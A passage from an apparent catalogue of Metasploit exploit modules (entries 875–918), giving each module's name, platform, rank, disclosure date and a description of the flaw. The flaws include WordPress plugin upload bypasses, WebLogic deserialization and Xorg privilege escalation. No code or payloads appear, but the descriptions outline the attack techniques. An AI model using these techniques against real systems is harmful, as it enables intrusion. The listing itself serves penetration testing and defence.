 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-05-11

Payload information:

Description:
  This module exploits a file upload feature of Drag and Drop Multi
File
  Upload - Contact Form 7 for versions prior to 1.3.4.  The allowed
file
  extension list can be bypassed by appending a %, allowing for php
  shells to be uploaded.
  No authentication is required for exploitation.

End Exploit Number 875

Begin Exploit Number 876
       Name: WordPress File Manager Unauthenticated Remote Code
Execution
     Module: exploit/multi/http/wp_file_manager_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-09-09

Payload information:

Description:
  The File Manager (wp-file-manager) plugin from 6.0 to 6.8 for
WordPress allows remote attackers to upload and
  execute arbitrary PHP code because it renames an unsafe example
elFinder connector file to have the .php
  extension. This, for example, allows attackers to run the elFinder
upload (or mkfile and put) command to write
  PHP code into the wp-content/plugins/wp-file-manager/lib/files/
directory.

End Exploit Number 876

Begin Exploit Number 877
       Name: WordPress Hash Form Plugin RCE
     Module: exploit/multi/http/wp_hash_form_rce
   Platform: PHP, Unix, Linux, Windows
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-05-23

Payload information:

Description:
  The Hash Form – Drag & Drop Form Builder plugin for WordPress 
suffers from a critical vulnerability
  due to missing file type validation in the file_upload_action 
function. This vulnerability exists
  in all versions up to and including 1.1.0. Unauthenticated attackers 
can exploit this flaw to upload arbitrary
  files, including PHP scripts, to the server, potentially allowing 
for remote code execution on the affected
  WordPress site. This module targets multiple platforms by adapting 
payload delivery and execution based on the
  server environment.

End Exploit Number 877

Begin Exploit Number 878
       Name: WordPress Ninja Forms Unauthenticated File Upload
     Module: exploit/multi/http/
wp_ninja_forms_unauthenticated_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-05-04

Payload information:

Description:
  Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
  an unauthenticated file upload vulnerability, allowing guests
  to upload arbitrary PHP code that can be executed in the context
  of the web server.

End Exploit Number 878

Begin Exploit Number 879
       Name: Wordpress Plugin Backup Guard - Authenticated Remote Code 
Execution
     Module: exploit/multi/http/wp_plugin_backup_guard_rce
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-04

Payload information:

Description:
  This module allows an attacker with a privileged Wordpress account
to launch a reverse shell
  due to an arbitrary file upload vulnerability in Wordpress plugin
Backup Guard < 1.6.0.
  This is due to an incorrect check of the uploaded file extension
which should be of SGBP type.
  Then, the uploaded payload can be triggered by a call to `/wp-
content/uploads/backup-guard/<random_payload_name>.php`

End Exploit Number 879

Begin Exploit Number 880
       Name: Wordpress Plugin Elementor Authenticated Upload Remote
Code Execution
     Module: exploit/multi/http/wp_plugin_elementor_auth_upload_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-03-29

Payload information:

Description:
  The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive
have a vulnerability
  that allows any authenticated user to upload and execute any PHP
file. This is achieved
  by sending a request to install Elementor Pro from a user supplied
zip file.
  Any user with Subscriber or more permissions is able to execute
this.
  Tested against Elementor 3.6.1

End Exploit Number 880

Begin Exploit Number 881
       Name: Wordpress File Manager Advanced Shortcode 2.3.2 -
Unauthenticated Remote Code Execution through shortcode
     Module: exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce
   Platform: Windows, Unix, Linux, PHP
       Arch: cmd, php, x64, x86, aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-31

Payload information:

Description:
  The Wordpress plugin does not adequately prevent uploading files
with disallowed MIME types when using the shortcode.
  This leads to RCE in cases where the allowed MIME type list does not
include PHP files.
  In the worst case, this is available to unauthenticated users, but
is also works in an authenticated configuration.
  File Manager Advanced Shortcode plugin version `2.3.2` and lower are
vulnerable.
  To install the Shortcode plugin File Manager Advanced version
`5.0.5` or lower is required to keep the configuration
  vulnerable. Any user privileges can exploit this vulnerability which
results in access to the underlying operating system
  with the same privileges under which the Wordpress web services
run.

End Exploit Number 881

Begin Exploit Number 882
       Name: Wordpress Plugin Modern Events Calendar - Authenticated
Remote Code Execution
     Module: exploit/multi/http/wp_plugin_modern_events_calendar_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-29

Payload information:

Description:
  This module allows an attacker with a privileged Wordpress account
to launch a reverse shell
  due to an arbitrary file upload vulnerability in Wordpress plugin
Modern Events Calendar < 5.16.5.
  This is due to an incorrect check of the uploaded file extension.
  Indeed, by using `text/csv` content-type in a request, it is
possible to upload a .php payload as is is not forbidden by the
plugin.
  Finally, the uploaded payload can be triggered by a call to `/wp-
```

```
content/uploads/<random_payload_name>.php`

End Exploit Number 882

Begin Exploit Number 883
       Name: Wordpress Plugin SP Project and Document - Authenticated
Remote Code Execution
     Module: exploit/multi/http/wp_plugin_sp_project_document_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-06-14

Payload information:

Description:
  This module allows an attacker with a privileged Wordpress account
to launch a reverse shell
  due to an arbitrary file upload vulnerability in Wordpress plugin SP
Project & Document < 4.22.
  The security check only searches for lowercase file extensions such
as `.php`, making it possible to upload `.pHP` files for instance.
  Finally, the uploaded payload can be triggered by a call to `/wp-
content/uploads/sp-client-document-manager/<user_id>/
<random_payload_name>.php`

End Exploit Number 883

Begin Exploit Number 884
       Name: Wordpress Popular Posts Authenticated RCE
     Module: exploit/multi/http/wp_popular_posts_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-06-11

Payload information:

Description:
  This exploit requires Metasploit to have a FQDN and the ability to
run a payload web server on port 80, 443, or 8080.
  The FQDN must also not resolve to a reserved address
(192/172/127/10).  The server must also respond to a HEAD request
  for the payload, prior to getting a GET request.
  This exploit leverages an authenticated improper input validation in
Wordpress plugin Popular Posts <= 5.3.2.
```

```
  The exploit chain is rather complicated.  Authentication is required
and 'gd' for PHP is required on the server.
  Then the Popular Post plugin is reconfigured to allow for an
arbitrary URL for the post image in the widget.
  A post is made, then requests are sent to the post to make it more
popular than the previous #1 by 5. Once
  the post hits the top 5, and after a 60sec (we wait 90) server cache
refresh, the homepage widget is loaded
  which triggers the plugin to download the payload from our server.
Our payload has a 'GIF' header, and a
  double extension ('.gif.php') allowing for arbitrary PHP code to be
executed.

End Exploit Number 884

Begin Exploit Number 885
       Name: WordPress Responsive Thumbnail Slider Arbitrary File
Upload
     Module: exploit/multi/http/wp_responsive_thumbnail_slider_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-28

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability in
Responsive Thumbnail Slider
  Plugin v1.0 for WordPress post authentication.

End Exploit Number 885

Begin Exploit Number 886
       Name: WordPress Royal Elementor Addons RCE
     Module: exploit/multi/http/wp_royal_elementor_addons_rce
   Platform: Unix, Linux, Windows, PHP
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-11-23

Payload information:

Description:
  Exploit for the unauthenticated file upload vulnerability in
WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).
```

```
End Exploit Number 886

Begin Exploit Number 887
       Name: WordPress Simple File List Unauthenticated Remote Code
Execution
     Module: exploit/multi/http/wp_simple_file_list_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2020-04-27

Payload information:

Description:
  Simple File List (simple-file-list) plugin before 4.2.3 for
WordPress allows remote unauthenticated attackers
  to upload files within a controlled list of extensions.  However,
the rename function does not conform to
  the file extension restrictions, thus allowing arbitrary PHP code to
be uploaded first as a png then renamed
  to php and executed.

End Exploit Number 887

Begin Exploit Number 888
       Name: WSO2 Arbitrary File Upload to RCE
     Module: exploit/multi/http/wso2_file_upload_rce
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-01

Payload information:

Description:
  This module abuses a vulnerability in certain WSO2 products that
allow unrestricted file
  upload with resultant remote code execution. This affects WSO2 API
Manager 2.2.0 and
  above through 4.0.0; WSO2 Identity Server 5.2.0 and above through
5.11.0; WSO2 Identity Server
  Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as
Key Manager 5.3.0 and above
  through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above
through 6.6.0.
```

```
End Exploit Number 888

Begin Exploit Number 889
       Name: X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code
Execution
     Module: exploit/multi/http/x7chat2_php_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-27

Payload information:

Description:
  This module exploits a post-auth vulnerability found in X7 Chat
versions
  2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php,
which
  uses preg_replace() function with the /e modifier. This allows a
remote
  authenticated attacker to execute arbitrary PHP code in the remote
machine.

End Exploit Number 889

Begin Exploit Number 890
       Name: Zabbix Authenticated Remote Command Execution
     Module: exploit/multi/http/zabbix_script_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-30

Payload information:

Description:
  ZABBIX allows an administrator to create scripts that will be run on
hosts.
  An authenticated attacker can create a script containing a payload,
then a host
  with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX
host.

  This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1,
v4.0.18, v5.0.17, v6.0.0.
```

```
End Exploit Number 890

Begin Exploit Number 891
       Name: Zemra Botnet CnC Web Panel Remote Code Execution
     Module: exploit/multi/http/zemra_panel_rce
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-28

Payload information:
  Space: 10000

Description:
  This module exploits the CnC web panel of Zemra Botnet which 
contains a backdoor
  inside its leaked source code. Zemra is a crimeware bot that can be 
used to
  conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.

End Exploit Number 891

Begin Exploit Number 892
       Name: Novell ZENworks Configuration Management Arbitrary File 
Upload
     Module: exploit/multi/http/
zenworks_configuration_management_upload
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-07

Payload information:

Description:
  This module exploits a file upload vulnerability in Novell ZENworks 
Configuration
  Management (ZCM, which is part of the ZENworks Suite). The 
vulnerability exists in
  the UploadServlet which accepts unauthenticated file uploads and 
does not check the
  "uid" parameter for directory traversal characters. This allows an 
attacker to write
  anywhere in the file system, and can be abused to deploy a WAR file 
in the Tomcat
```

```
  webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to
this attack.
  This module has been tested successfully with ZCM 11.3.1 on Windows
and Linux. Note
  that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412
which also has a
  Metasploit exploit, but it abuses a different parameter of the same
servlet.

End Exploit Number 892

Begin Exploit Number 893
       Name: Novell ZENworks Configuration Management Remote Execution
     Module: exploit/multi/http/zenworks_control_center_upload
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-03-22

Payload information:

Description:
  This module exploits a code execution flaw in Novell ZENworks
Configuration
  Management 10 SP3 and 11 SP2. The vulnerability exists in the
ZENworks Control
  Center application, allowing an unauthenticated attacker to upload a
malicious file
  outside of the TEMP directory and then make a second request that
allows for
  arbitrary code execution. This module has been tested successfully
on Novell
  ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003
SP2 and SUSE
  Linux Enterprise Server 10 SP3.

End Exploit Number 893

Begin Exploit Number 894
       Name: Zpanel Remote Unauthenticated RCE
     Module: exploit/multi/http/zpanel_information_disclosure_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-30
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module exploits an information disclosure vulnerability
  in ZPanel. The vulnerability is due to a vulnerable version
  of pChart used by ZPanel that allows unauthenticated users to read
  arbitrary files remotely on the file system. This particular module
  utilizes this vulnerability to identify the username/password
  combination of the MySQL instance. With the
  credentials the attackers can login to PHPMyAdmin and execute
  SQL commands to drop a malicious payload on the filesystem and
  call it leading to remote code execution.

End Exploit Number 894

Begin Exploit Number 895
       Name: Snort 2 DCE/RPC Preprocessor Buffer Overflow
     Module: exploit/multi/ids/snort_dce_rpc
   Platform: Windows, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-02-19

Payload information:
  Space: 390
  Avoid: 1 characters

Description:
  This module allows remote attackers to execute arbitrary code by
exploiting the
  Snort service via crafted SMB traffic. The vulnerability is due to a
boundary
  error within the DCE/RPC preprocessor when reassembling SMB Write
AndX requests,
  which may result a stack-based buffer overflow with a specially
crafted packet
  sent on a network that is monitored by Snort.

  Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire
IDS 4.1, 4.5 and 4.6.

  Any host on the Snort network may be used as the remote host. The
remote host does not
  need to be running the SMB service for the exploit to be successful.

End Exploit Number 895
```

```
Begin Exploit Number 896
       Name: Oracle Weblogic PreAuth Remote Command Execution via
ForeignOpaqueReference IIOP Deserialization
     Module: exploit/multi/iiop/cve_2023_21839_weblogic_rce
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-17

Payload information:

Description:
  Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the
Jan 2023 security update are vulnerable to an unauthenticated
  remote code execution vulnerability due to a post deserialization
vulnerability. This occurs when an attacker serializes
  a "ForeignOpaqueReference" class object, deserializes it on the
target, and then post deserialization, calls the
  object's "getReferent()" method, which will make use of the
"ForeignOpaqueReference" class's "remoteJNDIName" variable,
  which is under the attackers control, to do a remote loading of the
JNDI address specified by "remoteJNDIName" via
  the "lookup()" function.

  This can in turn lead to a deserialization vulnerability whereby an
attacker supplies the address of a HTTP server hosting
  a malicious Java class file, which will then be loaded into the
Oracle Weblogic process's memory and an attempt to
  create a new instance of the attacker's class will be made.
Attackers can utilize this to execute arbitrary Java
  code during the instantiation of the object, thereby getting remote
code execution as the "oracle" user.

  This module exploits this vulnerability to trigger the JNDI
connection to a LDAP server we control. The LDAP server will
  then respond with a remote reference response that points to a HTTP
server that we control, where the malicious Java
  class file will be hosted. Oracle Weblogic will then make a HTTP
request to retrieve the malicious Java class file,
  at which point our HTTP server will serve up the malicious class
file and Oracle Weblogic will instantiate
  an instance of that class, granting us RCE as the "oracle" user.

  This vulnerability was exploited in the wild as noted by KEV on May
1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-
server-vulnerability

End Exploit Number 896
```

```
Begin Exploit Number 897
       Name: Kubernetes authenticated code execution
     Module: exploit/multi/kubernetes/exec
   Platform: Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-10-01

Payload information:

Description:
  Execute a payload within a Kubernetes pod.


End Exploit Number 897

Begin Exploit Number 898
       Name: Allwinner 3.4 Legacy Kernel Local Privilege Escalation
     Module: exploit/multi/local/allwinner_backdoor
   Platform: Android, Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-30

Payload information:

Description:
  This module attempts to exploit a debug backdoor privilege 
escalation in
  Allwinner SoC based devices.

  Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 
3.4.

  Vulnerable OS: all OS images available for Orange Pis,
  any for FriendlyARM's NanoPi M1,
  SinoVoip's M2+ and M3,
  Cuebietech's Cubietruck +
  Linksprite's pcDuino8 Uno.
  Exploitation may be possible against Dragon (x10) and Allwinner 
Android tablets.

End Exploit Number 898

Begin Exploit Number 899
```

```
       Name: MagniComp SysInfo mcsiwrapper Privilege Escalation
     Module: exploit/multi/local/
magnicomp_sysinfo_mcsiwrapper_priv_esc
   Platform: Linux, Solaris
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-09-23

Payload information:

Description:
  This module attempts to gain root privileges on systems running
  MagniComp SysInfo versions prior to 10-H64.

  The .mcsiwrapper suid executable allows loading a config file using
the
  '--configfile' argument. The 'ExecPath' config directive is used to
set
  the executable load path. This module abuses this functionality to
set
  the load path resulting in execution of arbitrary code as root.

  This module has been tested successfully with SysInfo version
  10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on
  Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.

End Exploit Number 899

Begin Exploit Number 900
       Name: Vagrant Synced Folder Vagrantfile Breakout
     Module: exploit/multi/local/
vagrant_synced_folder_vagrantfile_breakout
   Platform: Ruby
       Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le,
ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle,
armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs,
firefox, zarch, r
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-01-19

Payload information:

Description:
  This module exploits a default Vagrant synced folder (shared folder)
  to append a Ruby payload to the Vagrant project Vagrantfile config
file.
```

```
  By default, unless a Vagrant project explicitly disables shared
folders,
  Vagrant mounts the project directory on the host as a writable
'vagrant'
  directory on the guest virtual machine. This directory includes the
  project Vagrantfile configuration file.

  Ruby code within the Vagrantfile is loaded and executed when a user
  runs any vagrant command from the project directory on the host,
  leading to execution of Ruby code on the host.

End Exploit Number 900

Begin Exploit Number 901
       Name: Xorg X11 Server SUID logfile Privilege Escalation
     Module: exploit/multi/local/xorg_x11_suid_server
   Platform: OpenBSD, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-10-25

Payload information:

Description:
  This module attempts to gain root privileges with SUID Xorg X11
server
  versions 1.19.0 < 1.20.3.

  A permission check flaw exists for -modulepath and -logfile options
when
  starting Xorg. This allows unprivileged users that can start the
server
  the ability to elevate privileges and run arbitrary code under root
  privileges.

  This module has been tested with OpenBSD 6.3, 6.4, CentOS 7.4.1708,
and
  CentOS 7.5.1804, and RHEL 7.5. The default PAM configuration for
CentOS
  and RHEL systems requires console auth for the user's session to
start
  the Xorg server.

  Cron launches the payload, so if SELinux is enforcing, exploitation
  may still be possible, but the module will bail.

  Xorg must have SUID permissions and may not start if already
```

```
running.

  On exploitation a crontab.old backup file will be created by Xorg.
  This module will remove the .old file and restore crontab after
  successful exploitation. Failed exploitation may result in a
corrupted
  crontab. On successful exploitation artifacts will be created
consistant
  with starting Xorg and running a cron.

End Exploit Number 901

Begin Exploit Number 902
       Name: Xorg X11 Server SUID modulepath Privilege Escalation
     Module: exploit/multi/local/xorg_x11_suid_server_modulepath
   Platform: Linux, Unix, Solaris
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-10-25

Payload information:

Description:
  This module attempts to gain root privileges with SUID Xorg X11
server
  versions 1.19.0 < 1.20.3.

  A permission check flaw exists for -modulepath and -logfile options
when
  starting Xorg.  This allows unprivileged users that can start the
server
  the ability to elevate privileges and run arbitrary code under root
  privileges.

  This module has been tested with CentOS 7 (1708).
  CentOS default install will require console auth for the users
session.
  Xorg must have SUID permissions and may not start if running.

  On successful exploitation artifacts will be created consistant
  with starting Xorg.

End Exploit Number 902

Begin Exploit Number 903
       Name: Apache ActiveMQ Unauthenticated Remote Code Execution
     Module: exploit/multi/misc/apache_activemq_rce_cve_2023_46604
   Platform: Windows, Linux, Unix
```

```
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-27

Payload information:

Description:
  This module exploits a deserialization vulnerability in the OpenWire
transport unmarshaller in Apache
  ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0
through to 5.17.5, 5.16.0 through to
  5.16.6, and all versions before 5.15.16.

End Exploit Number 903

Begin Exploit Number 904
       Name: Western Digital Arkeia Remote Code Execution
     Module: exploit/multi/misc/arkeia_agent_exec
   Platform:
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-10

Payload information:

Description:
  This module exploits a code execution flaw in Western Digital Arkeia
version 11.0.12 and below.
  The vulnerability exists in the 'arkeiad' daemon listening on TCP
port 617. Because there are
  insufficient checks on the authentication of all clients, this can
be bypassed.
  Using the ARKFS_EXEC_CMD operation it's possible to execute
arbitrary commands with root or
  SYSTEM privileges.
  The daemon is installed on both the Arkeia server as well on all the
backup clients. The module
  has been successfully tested on Windows, Linux, OSX, FreeBSD and
OpenBSD.

End Exploit Number 904

Begin Exploit Number 905
       Name: Squiggle 1.7 SVG Browser Java Code Execution
     Module: exploit/multi/misc/batik_svg_java
   Platform: Java, Linux, Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-11

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses the SVG support to execute Java Code in the 
  Squiggle Browser included in the Batik framework 1.7 through a 
  crafted SVG file referencing a jar file. 

  In order to gain arbitrary code execution, the browser must meet 
  the following conditions: (1) It must support at least SVG version 
  1.1 or newer, (2) It must support Java code and (3) The "Enforce 
  secure scripting" check must be disabled. 

  The module has been tested against Windows and Linux platforms.

End Exploit Number 905

Begin Exploit Number 906
       Name: BMC Patrol Agent Privilege Escalation Cmd Execution
     Module: exploit/multi/misc/bmc_patrol_cmd_exec
   Platform: Windows, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-01-17

Payload information:

Description:
  This module leverages the remote command execution feature provided 
by
  the BMC Patrol Agent software. It can also be used to escalate 
privileges
  on Windows hosts as the software runs as SYSTEM but only verfies 
that the password
  of the provided user is correct. This also means if the software is 
running on a
  domain controller, it can be used to escalate from a normal domain 
user to domain
  admin as SYSTEM on a DC is DA. **WARNING** The windows version of 
this exploit uses
  powershell to execute the payload. The powershell version tends to
```

```
timeout on
  the first run so it may take multiple tries.

End Exploit Number 906

Begin Exploit Number 907
       Name: BMC Server Automation RSCD Agent NSH Remote Command
Execution
     Module: exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
   Platform: Windows, Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-16

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a weak access control check in the BMC Server
  Automation RSCD agent that allows arbitrary operating system
commands
  to be executed without authentication.
  Note: Under Windows, non-powershell commands may need to be prefixed
        with 'cmd /c'.

End Exploit Number 907

Begin Exploit Number 908
       Name: Nanopool Claymore Dual Miner APIs RCE
     Module: exploit/multi/misc/claymore_dual_miner_remote_manager_rce
   Platform: Windows, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-02-09

Payload information:
  Avoid: 1 characters

Description:
  This module takes advantage of miner remote manager APIs to exploit
an RCE vulnerability.

End Exploit Number 908

Begin Exploit Number 909
       Name: Hashicorp Consul Remote Command Execution via Rexec
     Module: exploit/multi/misc/consul_rexec_exec
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-11

Payload information:

Description:
  This module exploits a feature of Hashicorp Consul named rexec.

End Exploit Number 909

Begin Exploit Number 910
       Name: Hashicorp Consul Remote Command Execution via Services 
API
     Module: exploit/multi/misc/consul_service_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-11

Payload information:

Description:
  This module exploits Hashicorp Consul's services API to gain remote 
command
  execution on Consul nodes.

End Exploit Number 910

Begin Exploit Number 911
       Name: Erlang Port Mapper Daemon Cookie RCE
     Module: exploit/multi/misc/erlang_cookie_rce
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-11-20

Payload information:

Description:
  The erlang port mapper daemon is used to coordinate distributed 
erlang instances.
```

```
  Should an attacker get the authentication cookie RCE is trivial.
Usually, this
  cookie is named ".erlang.cookie" and varies on location.

End Exploit Number 911

Begin Exploit Number 912
       Name: FreeSWITCH Event Socket Command Execution
     Module: exploit/multi/misc/freeswitch_event_socket_cmd_exec
   Platform: Windows, Linux, Unix, BSD
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-03

Payload information:
  Avoid: 5 characters

Description:
  This module uses the FreeSWITCH event socket interface
  to execute system commands using the `system` API command.

  The event socket service is enabled by default and listens
  on TCP port 8021 on the local network interface.

  This module has been tested successfully on FreeSWITCH versions:

  1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual
machine;
  1.8.4~64bit on Ubuntu 19.04 (x64); and
  1.10.1~64bit on Windows 7 SP1 (EN) (x64).

End Exploit Number 912

Begin Exploit Number 913
       Name: HP Data Protector EXEC_INTEGUTIL Remote Code Execution
     Module: exploit/multi/misc/hp_data_protector_exec_integutil
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-10-02

Payload information:

Description:
  This exploit abuses a vulnerability in the HP Data Protector. The
vulnerability exists
```

```
  in the Backup client service, which listens by default on TCP/5555.
The EXEC_INTEGUTIL
  request allows to execute arbitrary commands from a restricted
directory. Since it
  includes a perl executable, it's possible to use an EXEC_INTEGUTIL
packet to execute
  arbitrary code. On linux targets, the perl binary isn't on the
restricted directory, but
  an EXEC_BAR packet can be used to access the perl binary, even in
the last version of HP
  Data Protector for linux.  This module has been tested successfully
on HP Data Protector
  9 over Windows 2008 R2 64 bits and CentOS 6 64 bits.

End Exploit Number 913

Begin Exploit Number 914
       Name: HP StorageWorks P4000 Virtual SAN Appliance Command
Execution
     Module: exploit/multi/misc/hp_vsa_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-11

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in HP's StorageWorks
P4000 VSA on
  versions prior to 9.5. By using a default account credential, it is
possible
  to inject arbitrary commands as part of a ping request via port
13838.

End Exploit Number 914

Begin Exploit Number 915
       Name: IBM TM1 / Planning Analytics Unauthenticated Remote Code
Execution
     Module: exploit/multi/misc/ibm_tm1_unauth_rce
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-19
```

```
Payload information:

Description:
  This module exploits a vulnerability in IBM TM1 / Planning Analytics
that allows
  an unauthenticated attacker to perform a configuration overwrite.
  It starts by querying the Admin server for the available
applications, picks one,
  and then exploits it. You can also provide an application name to
bypass this step,
  and exploit the application directly.
  The configuration overwrite is used to change an application server
authentication
  method to "CAM", a proprietary IBM auth method, which is simulated
by the exploit.
  The exploit then performs a fake authentication as admin, and
finally abuses TM1
  scripting to perform a command injection as root or SYSTEM.
  Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and
Linux.
  Versions up to and including PA 2.0.8 are vulnerable. It is likely
that versions
  earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in
2014).

End Exploit Number 915

Begin Exploit Number 916
       Name: Adobe IndesignServer 5.5 SOAP Server Arbitrary Script
Execution
     Module: exploit/multi/misc/indesign_server_soap
   Platform: OSX, Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-11

Payload information:

Description:
  This module abuses the "RunScript" procedure provided by the SOAP
interface of
  Adobe InDesign Server, to execute arbitrary vbscript (Windows) or
applescript (OSX).

  The exploit drops the payload on the server and must be removed
manually.
```

```
End Exploit Number 916

Begin Exploit Number 917
       Name: Java Debug Wire Protocol Remote Code Execution
     Module: exploit/multi/misc/java_jdwp_debugger
   Platform: Linux, OSX, Windows
       Arch: armle, aarch64, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-03-12

Payload information:
  Space: 10000000
  Avoid: 0 characters

Description:
  This module abuses exposed Java Debug Wire Protocol services in
order
  to execute arbitrary Java code remotely. It just abuses the protocol
  features, since no authentication is required if the service is
enabled.

End Exploit Number 917

Begin Exploit Number 918
       Name: Java JMX Server Insecure Configuration Java Code
Execution
     Module: exploit/multi/misc/java_jmx_server
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-05-22

Payload information:
  Avoid: 0 characters

Description:
  This module takes advantage a Java JMX interface insecure
configuration, which would
  allow loading classes from any remote (HTTP) URL. JMX interfaces
with authentication
  disabled (com.sun.management.jmxremote.authenticate=false) should be
vulnerable, while
  interfaces with authentication enabled will be vulnerable only if a
weak configuration
